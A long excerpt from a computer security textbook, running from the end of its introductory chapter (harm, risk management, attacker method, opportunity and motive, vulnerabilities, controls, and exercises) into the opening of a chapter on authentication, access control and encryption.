• Computer as enhancer of attack: The Internet has proved to be an invaluable means for terrorists to spread propaganda and recruit agents. In October 2009 the FBI arrested Colleen LaRose, also known as JihadJane, after she had spent months using email, YouTube, MySpace, and electronic message boards to recruit radicals in Europe and South Asia to “wage violent jihad,” according to a federal indictment.

We cannot accurately measure the degree to which terrorists use computers, because terrorists keep secret the nature of their activities and because our definitions and mea- surement tools are rather weak. Still, incidents like the one described in Sidebar 1-2 provide evidence that all four of these activities are increasing.

SIDEBAR 1-2 The Terrorists, Inc., IT Department

In 2001, a reporter for the Wall Street Journal bought a used computer in Afghanistan. Much to his surprise, he found that the hard drive contained what appeared to be files from a senior al Qaeda operative. The reporter,

Section 1.3 Harm 21

Alan Cullison [CUL04], reports that he turned the computer over to the FBI. In his story published in 2004 in The Atlantic, he carefully avoids revealing anything he thinks might be sensitive.

The disk contained over 1,000 documents, many of them encrypted with relatively weak encryption. Cullison found draft mission plans and white papers setting forth ideological and philosophical arguments for the attacks of 11 September 2001. Also found were copies of news stories on terrorist activities. Some of the found documents indicated that al Qaeda was not originally interested in chemical, biological, or nuclear weapons, but became interested after reading public news articles accusing al Qaeda of having those capabilities.

Perhaps most unexpected were email messages of the kind one would find in a typical office: recommendations for promotions, justifica- tions for petty cash expenditures, and arguments concerning budgets.

The computer appears to have been used by al Qaeda from 1999 to 2001. Cullison notes that Afghanistan in late 2001 was a scene of chaos, and it is likely the laptop’s owner fled quickly, leaving the computer behind, where it fell into the hands of a secondhand goods merchant who did not know its contents.

But this computer’s contents illustrate an important aspect of com- puter security and confidentiality: We can never predict the time at which a security disaster will strike, and thus we must always be prepared to act immediately if it suddenly happens.

If someone on television sneezes, you do not worry about the possibility of catching a cold. But if someone standing next to you sneezes, you may become concerned. In the next section we examine the harm that can come from the presence of a computer security threat on your own computer systems.

1.3 HARM

The negative consequence of an actualized threat is harm; we protect ourselves against threats in order to reduce or eliminate harm. We have already described many examples of computer harm: a stolen computer, modified or lost file, revealed private letter, or denied access to data. These events cause harm that we want to avoid.

In our earlier discussion of assets, we noted that value depends on owner or outsider perception and need. Some aspects of value are immeasurable, such as the value of the paper you need to submit to your professor tomorrow; if you lose the paper (that is, if its availability is lost), no amount of money will compensate you for it. Items on which you place little or no value might be more valuable to someone else; for example, the group photograph taken at last night’s party can reveal that your friend was not where he told his wife he would be. Even though it may be difficult to assign a specific num- ber as the value of an asset, you can usually assign a value on a generic scale, such as moderate or minuscule or incredibly high, depending on the degree of harm that loss or damage to the object would cause. Or you can assign a value relative to other assets,

22 Chapter 1 Introduction

based on comparable loss: This version of the file is more valuable to you than that version.

In their 2010 global Internet threat report, security firm Symantec surveyed the kinds of goods and services offered for sale on underground web pages. The item most fre- quently offered in both 2009 and 2008 was credit card numbers, at prices ranging from $0.85 to $30.00 each. (Compare those prices to an individual’s effort to deal with the effect of a stolen credit card or the potential amount lost by the issuing bank.) Second most frequent was bank account credentials, at $15 to $850; these were offered for sale at 19% of websites in both years. Email accounts were next at $1 to $20, and lists of email addresses went for $1.70 to $15.00 per thousand. At position 10 in 2009 were website administration credentials, costing only $2 to $30. These black market websites demonstrate that the market price of computer assets can be dramatically different from their value to rightful owners.

The value of many assets can change over time, so the degree of harm (and therefore the severity of a threat) can change, too. With unlimited time, money, and capability, we might try to protect against all kinds of harm. But because our resources are lim- ited, we must prioritize our protection, safeguarding only against serious threats and the ones we can control. Choosing the threats we try to mitigate involves a process called risk management, and it includes weighing the seri- ousness of a threat against our abil- ity to protect.

Risk and Common Sense

The number and kinds of threats are practically unlimited because devising an attack requires an active imagination, determination, persistence, and time (as well as access and resources). The nature and number of threats in the computer world reflect life in general: The causes of harm are limitless and largely unpredictable. Natural disasters like volcanoes and earthquakes happen with little or no warning, as do auto accidents, heart attacks, influenza, and random acts of violence. To protect against accidents or the flu, you might decide to stay indoors, never venturing outside. But by doing so, you trade one set of risks for another; while you are inside, you are vulnerable to building collapse. There are too many possible causes of harm for us to protect ourselves—or our computers—completely against all of them.

In real life we make decisions every day about the best way to provide our security. For example, although we may choose to live in an area that is not prone to earthquakes, we cannot entirely eliminate earthquake risk. Some choices are conscious, such as deciding not to walk down a dark alley in an unsafe neighborhood; other times our sub- conscious guides us, from experience or expertise, to take some precaution. We evaluate the likelihood and severity of harm, and then consider ways (called countermeasures or controls) to address threats and determine the controls’ effectiveness.

Computer security is similar. Because we cannot protect against everything, we pri- oritize: Only so much time, energy, or money is available for protection, so we address

Risk management involves choosing which threats to control and what resources to devote to protection.

Section 1.3 Harm 23

some risks and let others slide. Or we consider alternative courses of action, such as transferring risk by purchasing insurance or even doing nothing if the side effects of the countermeasure could be worse than the possible harm. The risk that remains uncovered by controls is called residual risk.

A basic model of risk management involves a user’s calculating the value of all assets, determining the amount of harm from all possible threats, computing the costs of protection, selecting safeguards (that is, controls or countermeasures) based on the degree of risk and on limited resources, and applying the safeguards to optimize harm averted. This approach to risk management is a logical and sensible approach to protec- tion, but it has significant drawbacks. In reality, it is difficult to assess the value of each asset; as we have seen, value can change depending on context, timing, and a host of other characteristics. Even harder is determining the impact of all possible threats. The range of possible threats is effectively limitless, and it is difficult (if not impossible in some situations) to know the short- and long-term impacts of an action. For instance, Sidebar 1-3 describes a study of the impact of security breaches over time on corporate finances, showing that a threat must be evaluated over time, not just at a single instance.

SIDEBAR 1-3 Short- and Long-term Risks of Security Breaches

It was long assumed that security breaches would be bad for business: that customers, fearful of losing their data, would veer away from insecure businesses and toward more secure ones. But empirical studies suggest that the picture is more complicated. Early studies of the effects of secu- rity breaches, such as that of Campbell [CAM03], examined the effects of breaches on stock price. They found that a breach’s impact could depend on the nature of the breach itself; the effects were higher when the breach involved unauthorized access to confidential data. Cavusoglu et al. [CAV04] discovered that a breach affects the value not only of the com- pany experiencing the breach but also of security enterprises: On aver- age, the breached firms lost 2.1 percent of market value within two days of the breach’s disclosure, but security developers’ market value actually increased 1.36 percent.

Myung Ko and Carlos Dorantes [KO06] looked at the longer-term financial effects of publicly announced breaches. Based on the Campbell et al. study, they examined data for four quarters following the announce- ment of unauthorized access to confidential data. Ko and Dorantes note many types of possible breach-related costs:

“Examples of short-term costs include cost of repairs, cost of replacement of the system, lost business due to the disruption of business operations, and lost productivity of employees. These are also considered tangible costs. On the other hand, long-term costs include the loss of existing customers due to loss of trust, failing to attract potential future customers due to negative reputation


24 Chapter 1 Introduction

from the breach, loss of business partners due to loss of trust, and potential legal liabilities from the breach. Most of these costs are intangible costs that are difficult to calculate but extremely important in assessing the overall security breach costs to the organization.”

Ko and Dorantes compared two groups of companies: one set (the treatment group) with data breaches, and the other (the control group) with- out a breach but matched for size and industry. Their findings were striking. Contrary to what you might suppose, the breached firms had no decrease in performance for the quarters following the breach, but their return on assets decreased in the third quarter. The comparison of treatment with control companies revealed that the control firms generally outperformed the breached firms. However, the breached firms outperformed the control firms in the fourth quarter.

These results are consonant with the results of other researchers who conclude that there is minimal long-term economic impact from a secu- rity breach. There are many reasons why this is so. For example, custom- ers may think that all competing firms have the same vulnerabilities and threats, so changing to another vendor does not reduce the risk. Another possible explanation may be a perception that a breached company has better security since the breach forces the company to strengthen controls and thus reduce the likelihood of similar breaches. Yet another explanation may simply be the customers’ short attention span; as time passes, cus- tomers forget about the breach and return to business as usual.

All these studies have limitations, including small sample sizes and lack of sufficient data. But they clearly demonstrate the difficulties of quan- tifying and verifying the impacts of security risks, and point out a difference between short- and long-term effects.

Although we should not apply protection haphazardly, we will necessarily protect against threats we consider most likely or most damaging. For this reason, it is essential to understand how we perceive threats and evaluate their likely occurrence and impact. Sidebar 1-4 summarizes some of the relevant research in risk perception and decision- making. Such research suggests that, for relatively rare instances such as high-impact security problems, we must take into account the ways in which people focus more on the impact than on the actual likelihood of occurrence.

SIDEBAR 1-4 Perception of the Risk of Extreme Events

When a type of adverse event happens frequently, we can calculate its likelihood and impact by examining both frequency and nature of the col- lective set of events. For instance, we can calculate the likelihood that it will

SIDEBAR 1-3 Continued

Section 1.3 Harm 25

rain this week and take an educated guess at the number of inches of pre- cipitation we will receive; rain is a fairly frequent occurrence. But security problems are often extreme events: They happen infrequently and under a wide variety of circumstances, so it is difficult to look at them as a group and draw general conclusions.

Paul Slovic’s work on risk addresses the particular difficulties with extreme events. He points out that evaluating risk in such cases can be a political endeavor as much as a scientific one. He notes that we tend to let values, process, power, and trust influence our risk analysis [SLO99].

Beginning with Fischoff et al. [FIS78], researchers characterized extreme risk along two perception-based axes: the dread of the risk and the degree to which the risk is unknown. These feelings about risk, called affects by psychologists, enable researchers to discuss relative risks by placing them on a plane defined by the two perceptions as axes. A study by Loewenstein et al. [LOE01] describes how risk perceptions are influ- enced by association (with events already experienced) and by affect at least as much if not more than by reason. In fact, if the two influences com- pete, feelings usually trump reason.

This characteristic of risk analysis is reinforced by prospect theory: studies of how people make decisions by using reason and feeling. Kahne- man and Tversky [KAH79] showed that people tend to overestimate the likelihood of rare, unexperienced events because their feelings of dread and the unknown usually dominate analytical reasoning about the low likeli- hood of occurrence. By contrast, if people experience similar outcomes and their likelihood, their feeling of dread diminishes and they can actually underestimate rare events. In other words, if the impact of a rare event is high (high dread), then people focus on the impact, regardless of the likeli- hood. But if the impact of a rare event is small, then they pay attention to the likelihood.

Let us look more carefully at the nature of a security threat. We have seen that one aspect—its potential harm—is the amount of damage it can cause; this aspect is the impact component of the risk. We also consider the magnitude of the threat’s likeli- hood. A likely threat is not just one that someone might want to pull off but rather one that could actually occur. Some people might daydream about getting rich by robbing a bank; most, however, would reject that idea because of its difficulty (if not its immo- rality or risk). One aspect of likelihood is feasibility: Is it even possible to accomplish the attack? If the answer is no, then the likelihood is zero, and therefore so is the risk. So a good place to start in assessing risk is to look at whether the proposed action is fea- sible. Three factors determine feasi- bility, as we describe next.

Spending for security is based on the impact and likelihood of potential harm—both of which are nearly impossible to measure precisely.

26 Chapter 1 Introduction


A malicious attacker must have three things to ensure success: method, opportunity, and motive, depicted in Figure 1-11. Roughly speaking, method is the how; opportunity, the when; and motive, the why of an attack. Deny the attacker any of those three and the attack will not succeed. Let us examine these properties individually.


By method we mean the skills, knowledge, tools, and other things with which to per- petrate the attack. Think of comic figures that want to do something, for example, to steal valuable jewelry, but the characters are so inept that their every move is doomed to fail. These people lack the capability or method to succeed, in part because there are no classes in jewel theft or books on burglary for dummies.

Anyone can find plenty of courses and books about computing, however. Knowl- edge of specific models of computer systems is widely available in bookstores and on




FIGURE 1-11 Method–Opportunity–Motive

Section 1.3 Harm 27

the Internet. Mass-market systems (such as the Microsoft or Apple or Unix operating systems) are readily available for purchase, as are common software products, such as word processors or database management systems, so potential attackers can even get hardware and software on which to experiment and perfect an attack. Some manufac- turers release detailed specifications on how the system was designed or how it oper- ates, as guides for users and integrators who want to implement other complementary products. Various attack tools—scripts, model programs, and tools to test for weak- nesses—are available from hackers’ sites on the Internet, to the degree that many attacks require only the attacker’s ability to download and run a program. The term script kid- die describes someone who downloads a complete attack code package and needs only to enter a few details to identify the target and let the script perform the attack. Often, only time and inclination limit an attacker.


Opportunity is the time and access to execute an attack. You hear that a fabulous apart- ment has just become available, so you rush to the rental agent, only to find someone else rented it five minutes earlier. You missed your opportunity.

Many computer systems present ample opportunity for attack. Systems available to the public are, by definition, accessible; often their owners take special care to make them fully available so that if one hardware component fails, the owner has spares instantly ready to be pressed into service. Other people are oblivious to the need to protect their computers, so unattended laptops and unsecured network connections give ample opportunity for attack. Some systems have private or undocumented entry points for administration or maintenance, but attackers can also find and use those entry points to attack the systems.


Finally, an attacker must have a motive or reason to want to attack. You probably have ample opportunity and ability to throw a rock through your neighbor’s window, but you do not. Why not? Because you have no reason to want to harm your neighbor: You lack motive.

We have already described some of the motives for computer crime: money, fame, self-esteem, politics, terror. It is often difficult to determine motive for an attack. Some places are “attractive targets,” meaning they are very appealing to attackers. Popular targets include law enforcement and defense department computers, perhaps because they are presumed to be well protected against attack (so they present a challenge and a successful attack shows the attacker’s prowess). Other systems are attacked because they are easy to attack. And some systems are attacked at random simply because they are there.

Method, opportunity, and motive are all necessary for an attack to succeed; deny any of these and the attack will fail.

28 Chapter 1 Introduction

By demonstrating feasibility, the factors of method, opportunity, and motive deter- mine whether an attack can succeed. These factors give the advantage to the attacker because they are qualities or strengths the attacker must possess. Another factor, this time giving an advantage to the defender, determines whether an attack will succeed: The attacker needs a vulnerability, an undefended place to attack. If the defender removes vulnerabilities, the attacker cannot attack.


As we noted earlier in this chapter, a vulnerability is a weakness in the security of the computer system, for example, in procedures, design, or implementation, that might be exploited to cause loss or harm. Think of a bank, with an armed guard at the front door, bulletproof glass protecting the tellers, and a heavy metal vault requiring mul- tiple keys for entry. To rob a bank, you would have to think of how to exploit a weak- ness not covered by these defenses. For example, you might bribe a teller or pose as a maintenance worker.

Computer systems have vulnerabilities, too. In this book we consider many, such as weak authentication, lack of access control, errors in programs, finite or insufficient resources, and inadequate physical protection. Paired with a credible attack, each of these vulnerabilities can allow harm to confidentiality, integrity, or avail- ability. Each attack vector seeks to exploit a particular vulnerability.

Security analysts speak of a system’s attack surface, which is the system’s full set of vulnerabilities—actual and potential. Thus, the attack surface includes physical hazards, malicious attacks by outsiders, stealth data theft by insiders, mistakes, and impersonations. Although such attacks range from easy to highly improbable, analysts must consider all possibilities.

Our next step is to find ways to block threats by neutralizing vulnerabilities.


A control or countermeasure is a means to counter threats. Harm occurs when a threat is realized against a vulnerability. To protect against harm, then, we can neutralize the threat, close the vulnerability, or both. The possibility for harm to occur is called risk. We can deal with harm in several ways:

• prevent it, by blocking the attack or closing the vulnerability • deter it, by making the attack harder but not impossible • deflect it, by making another target more attractive (or this one less so) • mitigate it, by making its impact less severe • detect it, either as it happens or some time after the fact • recover from its effects

Vulnerabilities are weaknesses that can allow harm to occur.

Section 1.5 Controls 29

Of course, more than one of these controls can be used simultaneously. So, for exam- ple, we might try to prevent intrusions—but if we suspect we cannot prevent all of them, we might also install a detec- tion device to warn of an imminent attack. And we should have in place incident-response procedures to help in the recovery in case an intru- sion does succeed.

To consider the controls or countermeasures that attempt to prevent exploiting a computing system’s vulnerabilities, we begin by thinking about traditional ways to enhance physical security. In the Middle Ages, castles and fortresses were built to pro- tect the people and valuable property inside. The fortress might have had one or more security characteristics, including

• a strong gate or door to repel invaders

• heavy walls to withstand objects thrown or projected against them

• a surrounding moat to control access

• arrow slits to let archers shoot at approaching enemies

• crenellations to allow inhabitants to lean out from the roof and pour hot or vile liquids on attackers

• a drawbridge to limit access to authorized people

• a portcullis to limit access beyond the drawbridge

• gatekeepers to verify that only authorized people and goods could enter

Similarly, today we use a multipronged approach to protect our homes and offices. We may combine strong locks on the doors with a burglar alarm, reinforced windows, and even a nosy neighbor to keep an eye on our valuables. In each case, we select one or more ways to deter an intruder or attacker, and we base our selection not only on the value of what we protect but also on the effort we think an attacker or intruder will expend to get inside.

Computer security has the same characteristics. We have many controls at our dis- posal. Some are easier than others to use or implement. Some are cheaper than others to use or implement. And some are more difficult than others for intruders to override. Figure 1-12 illustrates how we use a combination of controls to secure our valuable resources. We use one or more controls, according to what we are protecting, how the cost of protection compares with the risk of loss, and how hard we think intruders will work to get what they want.

In this section, we present an overview of the controls available to us. In the rest of this book, we examine how to use controls against specific kinds of threats.

We can group controls into three largely independent classes. The following list shows the classes and several examples of each type of control.

• Physical controls stop or block an attack by using something tangible too, such as walls and fences – locks

Security professionals balance the cost and effectiveness of controls with the likelihood and severity of harm.

30 Chapter 1 Introduction

– (human) guards – sprinklers and other fire extinguishers

• Procedural or administrative controls use a command or agreement that – requires or advises people how to act; for example, – laws, regulations – policies, procedures, guidelines – copyrights, patents – contracts, agreements

• Technical controls counter threats with technology (hardware or software), including – passwords – program or operating system access controls – network protocols – firewalls, intrusion detection systems – encryption – network traffic flow regulators

(Note that the term “logical controls” is also used, but some people use it to mean administrative controls, whereas others use it to mean technical controls. To avoid con- fusion, we do not use that term.)

As shown in Figure 1-13, you can think in terms of the property to be protected and the kind of threat when you are choosing appropriate types of countermeasures. None of these classes is necessarily better than or preferable to the others; they work in dif- ferent ways with different kinds of results. And it can be effective to use overlapping controls or defense in depth: more than one control or more than one class of control to achieve protection.

Intrusion Attempts


Internal Prevention

External Prevention

External Deterrence

Internal Deterrence


Preemption System Perimeter

System Resource

Faux Environment



FIGURE 1-12 Effects of Controls

Section 1.6 Conclusion 31


Computer security attempts to ensure the confidentiality, integrity, and availability of computing systems and their components. Three principal parts of a computing system are subject to attacks: hardware, software, and data. These three, and the communica- tions among them, are susceptible to computer security vulnerabilities. In turn, those people and systems interested in compromising a system can devise attacks that exploit the vulnerabilities.

In this chapter we have explained the following computer security concepts:

• Security situations arise in many everyday activities, although sometimes it can be difficult to distinguish between a security attack and an ordinary human or technological breakdown. Alas, clever attackers realize this confusion, so they may make their attack seem like a simple, random failure.

• A threat is an incident that could cause harm. A vulnerability is a weakness through which harm could occur. These two problems combine: Either without the other causes no harm, but a threat exercising a vulnerability means damage. To control such a situation, we can either block or diminish the threat, or close the vulnerability (or both).

• Seldom can we achieve perfect security: no viable threats and no exercisable vulnerabilities. Sometimes we fail to recognize a threat, or other times we may be unable or unwilling to close a vulnerability. Incomplete security is not a bad situation; rather, it demonstrates a balancing act: Control certain threats and vul- nerabilities, apply countermeasures that are reasonable, and accept the risk of harm from uncountered cases.



Availability T


P rocedural

P hysical

Kind of Threat


Co nt

ro l T

yp e

D ire

ct ed

/n ot

M al

ic io

us /n


H um

an /n


FIGURE 1-13 Types of Countermeasures

32 Chapter 1 Introduction

• An attacker needs three things: method—the skill and knowledge to perform a successful attack; opportunity—time and access by which to attack; and motive—a reason to want to attack. Alas, none of these three is in short supply, which means attacks are inevitable.

In this chapter we have introduced the notions of threats and harm, vulnerabilities, attacks and attackers, and countermeasures. Attackers leverage threats that exploit vul- nerabilities against valuable assets to cause harm, and we hope to devise countermea- sures to eliminate means, opportunity, and motive. These concepts are the basis we need to study, understand, and master computer security.

Countermeasures and controls can be applied to the data, the programs, the system, the physical devices, the communications links, the environment, and the personnel. Sometimes several controls are needed to cover a single vulnerability, but sometimes one control addresses many problems at once.


The rest of this book is organized around the major aspects or pieces of computer security. As you have certainly seen in almost daily news reports, computer security incidents abound. The nature of news is that failures are often reported, but seldom successes. You almost never read a story about hackers who tried to break into the com- puting system of a bank but were foiled because the bank had installed strong, layered defenses. In fact, attacks repelled far outnumber those that succeed, but such good situ- ations do not make interesting news items.

Still, we do not want to begin with examples in which security controls failed. Instead, in Chapter 2 we begin by giving you descriptions of three powerful and widely used security protection methods. We call these three our security toolkit, in part because they are effective but also because they are applicable. We refer to these tech- niques in probably every other chapter of this book, so we want not only to give them a prominent position up front but also to help lodge them in your brain. Our three featured tools are identification and authentication, access control, and encryption.

After presenting these three basic tools we lead into domains in which computer secu- rity applies. We begin with the simplest computer situations, individual programs, and explore the problems and protections of computer code in Chapter 3. We also consider malicious code, such as viruses and Trojan horses (defining those terms along with other types of harmful programs). As you will see in other ways, there is no magic that can make bad programs secure or turn programmers into protection gurus. We do, however, point out some vulnerabilities that show up in computer code and describe ways to coun- ter those weaknesses, both during program development and as a program executes.

Modern computing involves networking, especially using the Internet. We focus first on how networked computing affects individuals, primarily through browsers and other basic network interactions such as email. In Chapter 4 we look at how users can be tricked by skillful writers of malicious code. These attacks tend to affect the protection of confidentiality of users’ data and integrity of their programs.

Section 1.7 What’s Next? 33

Chapter 5 covers operating systems, continuing our path of moving away from things the user can see and affect directly. We see what protections operating systems can provide to users’ programs and data, most often against attacks on confidentiality or integrity. We also see how the strength of operating systems can be undermined by attacks, called rootkits, that directly target operating systems and render them unable to protect themselves or their users.

In Chapter 6 we return to networks, this time looking at the whole network and its impact on users’ abilities to communicate data securely across the network. We also study a type of attack called denial of service, just what its name implies, that is the first major example of a failure of availability.

We consider data, databases, and data mining in Chapter 7. The interesting cases involve large databases in which confidentiality of individuals’ private data is an objec- tive. Integrity of the data in the databases is also a significant concern.

In Chapter 8 we move even further from the individual user and study cloud com- puting, a technology becoming quite popular. Companies are finding it convenient and cost effective to store data “in the cloud,” and individuals are doing the same to have shared access to things such as music and photos. There are security risks involved in this movement, however.

You may have noticed our structure: We organize our presentation from the user out- ward through programs, browsers, operating systems, networks, and the cloud, a pro- gression from close to distant. In Chapter 9 we return to the user for a different reason: We consider privacy, a property closely related to confidentiality. Our treatment here is independent of where the data are: on an individual computer, a network, or a database. Privacy is a property we as humans deserve, and computer security can help preserve it, as we present in that chapter.

In Chapter 10 we look at several topics of management of computing as related to security. Security incidents occur, and computing installations need to be ready to respond, whether the cause is a hacker attack, software catastrophe, or fire. Managers also have to decide what controls to employ, because countermeasures cost money that must be spent wisely. Computer security protection is hard to evaluate: When it works you do not know it does. Performing risk analysis and building a case for security are important management tasks.

Some security protections are beyond the scope an individual can address. Organized crime from foreign countries is something governments must deal with, through a legal system. In Chapter 11 we consider laws affecting computer security. We also look at ethical standards, what is “right” in computing.

In Chapter 12 we return to cryptography, which we introduced in Chapter 2. Cryp- tography merits courses and textbooks of its own, and the topic is detailed enough that most of the real work in the field is done at the graduate level and beyond. We use Chapter 2 to introduce the concepts enough to be able to apply them. In Chapter 12 we expand upon that introduction and peek at some of the formal and mathematical under- pinnings of cryptography.

Finally, in Chapter 13 we raise four topic areas. These are domains with an important need for computer security, although the areas are evolving so rapidly that computer

34 Chapter 1 Introduction

security may not be addressed as fully as it should. These areas are the so-called Internet of Things (the interconnection of network-enabled devices from toasters to automobiles and insulin pumps), computer security economics, electronic voting, and computer- assisted terrorism and warfare.

We trust this organization will help you to appreciate the richness of an important field that touches many of the things we depend on.


1. Distinguish between vulnerability, threat, and control.

2. Theft usually results in some kind of harm. For example, if someone steals your car, you may suffer financial loss, inconvenience (by losing your mode of transportation), and emotional upset (because of invasion of your personal property and space). List three kinds of harm a company might experience from theft of computer equipment.

3. List at least three kinds of harm a company could experience from electronic espionage or unauthorized viewing of confidential company materials.

4. List at least three kinds of damage a company could suffer when the integrity of a program or company data is compromised.

5. List at least three kinds of harm a company could encounter from loss of service, that is, failure of availability. List the product or capability to which access is lost, and explain how this loss hurts the company.

6. Describe a situation in which you have experienced harm as a consequence of a failure of computer security. Was the failure malicious or not? Did the attack target you specifically or was it general and you were the unfortunate victim?

7. Describe two examples of vulnerabilities in automobiles for which auto manufacturers have instituted controls. Tell why you think these controls are effective, somewhat effective, or ineffective.

8. One control against accidental software deletion is to save all old versions of a program. Of course, this control is prohibitively expensive in terms of cost of storage. Suggest a less costly control against accidental software deletion. Is your control effective against all pos- sible causes of software deletion? If not, what threats does it not cover?

9. On your personal computer, who can install programs? Who can change operating system data? Who can replace portions of the operating system? Can any of these actions be per- formed remotely?

10. Suppose a program to print paychecks secretly leaks a list of names of employees earning more than a certain amount each month. What controls could be instituted to limit the vulner- ability of this leakage?

11. Preserving confidentiality, integrity, and availability of data is a restatement of the concern over interruption, interception, modification, and fabrication. How do the first three concepts relate to the last four? That is, is any of the four equivalent to one or more of the three? Is one of the three encompassed by one or more of the four?

12. Do you think attempting to break in to (that is, obtain access to or use of) a computing system without authorization should be illegal? Why or why not?

Section 1.8 Exercises 35

13. Describe an example (other than the ones mentioned in this chapter) of data whose confiden- tiality has a short timeliness, say, a day or less. Describe an example of data whose confidential- ity has a timeliness of more than a year.

14. Do you currently use any computer security control measures? If so, what? Against what attacks are you trying to protect?

15. Describe an example in which absolute denial of service to a user (that is, the user gets no response from the computer) is a serious problem to that user. Describe another example where 10 percent denial of service to a user (that is, the user’s computation progresses, but at a rate 10 percent slower than normal) is a serious problem to that user. Could access by unauthorized people to a computing system result in a 10 percent denial of service to the legitimate users? How?

16. When you say that software is of high quality, what do you mean? How does security fit in your definition of quality? For example, can an application be insecure and still be “good”?

17. Developers often think of software quality in terms of faults and failures. Faults are problems (for example, loops that never terminate or misplaced commas in statements) that developers can see by looking at the code. Failures are problems, such as a system crash or the invoca- tion of the wrong function, that are visible to the user. Thus, faults can exist in programs but never become failures, because the conditions under which a fault becomes a failure are never reached. How do software vulnerabilities fit into this scheme of faults and failures? Is every fault a vulnerability? Is every vulnerability a fault?

18. Consider a program to display on your website your city’s current time and temperature. Who might want to attack your program? What types of harm might they want to cause? What kinds of vulnerabilities might they exploit to cause harm?

19. Consider a program that allows consumers to order products from the web. Who might want to attack the program? What types of harm might they want to cause? What kinds of vulner- abilities might they exploit to cause harm?

20. Consider a program to accept and tabulate votes in an election. Who might want to attack the program? What types of harm might they want to cause? What kinds of vulnerabilities might they exploit to cause harm?

21. Consider a program that allows a surgeon in one city to assist in an operation on a patient in another city via an Internet connection. Who might want to attack the program? What types of harm might they want to cause? What kinds of vulnerabilities might they exploit to cause harm?


Chapter topics:

• Authentication, capabilities, and limitations • The three bases of authentication: knowledge, charac-

teristics, possessions • Strength of an authentication mechanism • Implementation of access control • Employing encryption • Symmetric and asymmetric encryption • Message digests • Signatures and certificates

J ust as doctors have stethoscopes and carpenters have measuring tapes and squares, security professionals have tools they use frequently. Three of these security tools are authentication, access control, and cryptography. In this chapter we introduce

these tools, and in later chapters we use these tools repeatedly to address a wide range of security issues.

In some sense, security hasn’t changed since sentient beings began accumulating things worth protecting. A system owner establishes a security policy, formally or infor- mally, explicitly or implicitly—perhaps as simple as “no one is allowed to take my food”—and begins taking measures to enforce that policy. The character of the threats changes as the protagonist moves from the jungle to the medieval battlefield to the mod- ern battlefield to the Internet, as does the nature of the available protections, but their strategic essence remains largely constant: An attacker wants something a defender has, so the attacker goes after it. The defender has a number of options—fight, build a barrier or alarm system, run and hide, diminish the target’s attractiveness to the attacker—and

2 Toolbox: Authentication, Access Control, and Cryptography

Toolbox: Authentication, Access Control, and Cryptography 37

these options all have analogues in modern computer security. The specifics change, but the broad strokes remain the same.

In this chapter, we lay the foundation for computer security by studying those broad strokes. We look at a number of ubiquitous security strategies, identify the threats against which each of those strategies is effective, and give examples of representative countermeasures. Throughout the rest of this book, as we delve into the specific techni- cal security measures used in operating systems, programming, websites and browsers, and networks, we revisit these same strategies again and again. Years from now, when we’re all using technology that hasn’t even been imagined yet, this chapter should be just as relevant as it is today.

A security professional analyzes situations by finding threats and vulnerabilities to the confidentiality, integrity, and/or availability of a computing system. Often, con- trolling these threats and vulnerabilities involves a policy that specifies who (which subjects) can access what (which objects) how (by which means). We introduced that framework in Chapter 1. But now we want to delve more deeply into how such a policy works. To be effective the policy enforcement must determine who accurately. That is, if policy says Adam can access something, security fails if someone else impersonates Adam. Thus, to enforce security policies properly, we need ways to determine beyond a reasonable doubt that a subject’s identity is accurate. The property of accurate identifi- cation is called authentication. The first critical tool for security professionals is authen- tication and its techniques and technologies.

When we introduced security policies we did not explicitly state the converse: A subject is allowed to access an object in a particular mode but, unless authorized, all other subjects are not allowed to access the object. A policy without such limits is prac- tically useless. What good does it do to say one subject can access an object if any other subject can do so without being authorized by policy. Consequently, we need ways to restrict access to only those subjects on the yes list, like admitting theatre patrons to a play (with tickets) or checking in invitees to a party (on a guest list). Someone or some- thing controls access, for example, an usher collects tickets or a host manages the guest list. Allowing exactly those accesses authorized is called access control. Mechanisms to implement access control are another fundamental computer security tool.

Suppose you were trying to limit access to a football match being held on an open park in a populous city. Without a fence, gate, or moat, you could not limit who could see the game. But suppose you had super powers and could cloak the players in invis- ibility uniforms. You would issue special glasses only to people allowed to see the match; others might look but see nothing. Although this scenario is pure fantasy, such an invisibility technology does exist, called encryption. Simply put, encryption is a tool by which we can transform data so only intended receivers (who have keys, the equiva- lent of anti-cloaking glasses) can deduce the concealed bits. The third and final funda- mental security tool in this chapter is encryption.

In this chapter we describe these tools and then give a few examples to help you understand how the tools work. But most applications of these tools come in later chapters, where we elaborate on their use in the context of a more complete secu- rity situation. In most of this chapter we dissect our three fundamental security tools: authentication, access control, and encryption.

38 Chapter 2 Toolbox: Authentication, Access Control, and Cryptography


Your neighbor recognizes you, sees you frequently, and knows you are someone who should be going into your home. Your neighbor can also notice someone different, especially if that person is doing something suspicious, such as snooping around your doorway, peering up and down the walk, or picking up a heavy stone. Coupling these suspicious events with hearing the sound of breaking glass, your neighbor might even call the police.

Computers have replaced many face-to-face interactions with electronic ones. With no vigilant neighbor to recognize that something is awry, people need other mecha- nisms to separate authorized from unauthorized parties. For this reason, the basis of computer security is controlled access: someone is authorized to take some action on something. We examine access control later in this chapter. But for access control to work, we need to be sure who the “someone” is. In this section we introduce authentica- tion, the process of ascertaining or confirming an identity.

A computer system does not have the cues we do with face-to-face communication that let us recognize our friends. Instead computers depend on data to recognize others. Determining who a person really is consists of two separate steps:

• Identification is the act of asserting who a person is.

• Authentication is the act of proving that asserted iden- tity: that the person is who she says she is.

We have phrased these steps from the perspective of a person seeking to be recog- nized, using the term “person” for simplicity. In fact, such recognition occurs between people, computer processes (executing programs), network connections, devices, and similar active entities. In security, all these entities are called subjects.

The two concepts of identification and authentication are easily and often confused. Identities, like names, are often well known, public, and not protected. On the other hand, authentication is necessarily protected. If someone’s identity is public, anyone can claim to be that person. What separates the pretenders from the real person is proof by authentication.

Identification Versus Authentication

Identities are often well known, predictable, or guessable. If you send email to someone, you implicitly send along your email account ID so the other person can reply to you. In an online discussion you may post comments under a screen name as a way of linking your various postings. Your bank account number is printed on checks you write; your debit card account number is shown on your card, and so on. In each of these cases you reveal a part of your identity. Notice that your identity is more than just your name: Your bank account number, debit card number, email address, and other things are ways by which people and processes identify you.

Identification is asserting who a person is.

Authentication is proving that asserted identity.

Section 2.1 Authentication 39

